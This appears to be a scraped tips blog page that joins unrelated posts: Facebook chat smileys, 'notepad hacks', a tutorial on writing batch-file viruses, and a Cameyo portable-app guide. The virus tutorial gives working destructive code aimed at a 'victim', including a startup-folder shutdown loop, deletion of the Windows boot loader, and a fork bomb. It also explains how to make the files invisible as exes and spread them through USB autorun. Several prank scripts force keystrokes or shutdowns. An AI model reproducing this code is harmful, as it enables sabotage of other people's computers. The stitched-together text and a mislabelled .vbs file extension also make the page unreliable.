How to use smileys in Facebook chat?

Facebook is the most popular social networking site in the world with an alexa rank of just #2, Recently I have been receiving many emails and I am constantly asked about smileys in Facebook chat, There are lots of smileys in Facebook chat but lots of people dont know about it, You can you smileys in Facebook chat and increase your Chatting experience, Below I am placing 2 charts which will contain smileys in Facebook chat along with their code

Hope you liked the collection of Facebook chat smileys, Feel free to ask by commenting!

Some Cool Notepad Hacks

Hey Friends  today I am going to share few New Notepad hacks. They are really cool and crazy one's. So Please think atleast three to four times to use them on ur PC.

UNLIMITED NOTEPAD WINDOWS HACK

This will pop up endless notepads until the computer freezes and crashes. Copy the below code in notepad and save it as ".vbs" extension.

Code:-

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

CAPS LOCK CRAZY TRICK

This constantly turns caps lock on and off really fast continuously.

Code:-

Set wshShell =wscript.CreateObject(”WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

loop

UNLIMITED BACKSPACE HACK

This makes it so the backspace key is constantly being pressed.

Code:-

MsgBox “Let’s go back a few steps”

Set wshShell =wscript.CreateObject(”WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{bs}”

loop

       

Hack your friend's keyboard and make him type "You are a fool" simultaneously:

Code:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Convey your friend a message and shut down his / her computer:
 

Code:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files .

How to create Batch file viruses?

What are Batch Files ?

According to wikipedia a batch file is a text file containing a series of commands intended to be executed by the command interprete, In this article I will be telling you the basics of batch files clear and developing the approach towards coding your own viruses. Lets begin with a simple example ,


Open your command prompt and change your current directory to 'desktop' by typing 'cd desktop' without quotes.
Now type these commands one by one

1. md x //makes directory 'x' on desktop
2. cd x // changes current directory to 'x'
3. md y // makes a directory 'y' in directory 'x'

We first make a folder/directory 'x', then enter in folder 'x',then make a folder 'y' in folder 'x' .
Now delete the folder 'x'.
Lets do the same thing in an other way. Copy these three commands in notepad and save file as anything.bat



Now just double click on this batch file and the same work would be done , You will get a folder 'x' on your desktop and folder 'y' in it. This means the three commands executed line by line when we run the batch file

So a batch file is simply a text containing series of commands which are executed automatically line by line when the batch file is run.

What can batch viruses do ?

They can be used to delete the windows files, format data, steal information,consume CPU resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more purposes.

Now lets start with simple codes,

Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.

1.

:x
start cmd.exe
goto x // infinite loop

This code will be opening command prompt screen infinite times , irritating victim and affecting performance.

2.  copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00 //this will shutdown the computer in 0 seconds

Note : Files in Start up folder gets started automatically when windows starts .


Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

3. Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.



Lets make a batch file to  delete this file from victim's computer and the windows will not start then.
attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del C:\ntldr //delete ntldr file

After ruuning this batch file , system will not reboot and a normal victim would definitely install the windows again.



4.%0|%0 //Its percentage zero pipe percentage zero

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows This is actually known as 'fork bomb'.

The viruses we just coded -:

 

Note : Most of the batch viruses are simply undetectable by any anitiviruses
 
Tip : Coding good viruses just depends on the DOS commands you know and logic you use.

Limitations of Batch Viruses -:

1.Victim can easily read the commands by opening batch file in notepad.
2.The command prompt screen pops up,it alerts the victim and he can stop it.

To overcome these limitations,we need to convert these batch files into executable files that is exe files.

Download this Batch To Exe coverter from here.
http://www.mediafire.com/?uhsc5tfkd5dbn65
 
After running converter , open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.

You can use other options as per your requirement.

Spreading batch viruses through pen drive -:

Step 1. 
 
Open notepad and write

[autorun]
open=anything.bat
Icon=anything.ico

Save file as ‘autorun.inf’

Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .

When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

How To Make Any Application Portable

Cameyo is a free tool which lets you make any application portable. As you know, portable apps are those programs which can be carried on your thumb / pen drive and which can be used straight away without installing it on your machine.

 

This free program is so very powerful. I havn’t tried it with all the applications on my computer but it makes all those applications portable which are important like Acrobat reader, Mozilla Firefox, Opera, Filezilla.

Here is the step by step guide to use Cameyo so that you can make any application portable:

STEP 1: Download Cameyo and install it on your system.

STEP 2: Now, run Cameyo when you want to make any application portable and click on button
labeled as CAPTURE INSTALLATION, which will take the snapshot of the system.

STEP 3: Once the snapshot is taken, a window opens labeled as PROCEED WITH INSTALLATION. Now, you can go ahead with your appliation installation task.

STEP 4: Now, we have the snapshot of the computer before the installation of the file. So, now
install the application which you wanted to convert into the portable application.

STEP 5: And after the installation of the application, click on INSTALL DONE button. This will create the post installation snapshot which would take some time.

STEP 6: Once the snapshot is taken, a window pops up which would ask you to enter the identification and other details like destination path.

STEP 7: Now, Cameyo will take sometime to create the virtual file.

That is it! When you check your desktop, you will find a folder which will contain the executable file of the application that you actually installed and the one which you wanted to make a portable application. Now, you can take this portable app anywhere you want and run it directly. Try it out and let us know if Cameyo was able to make your application portable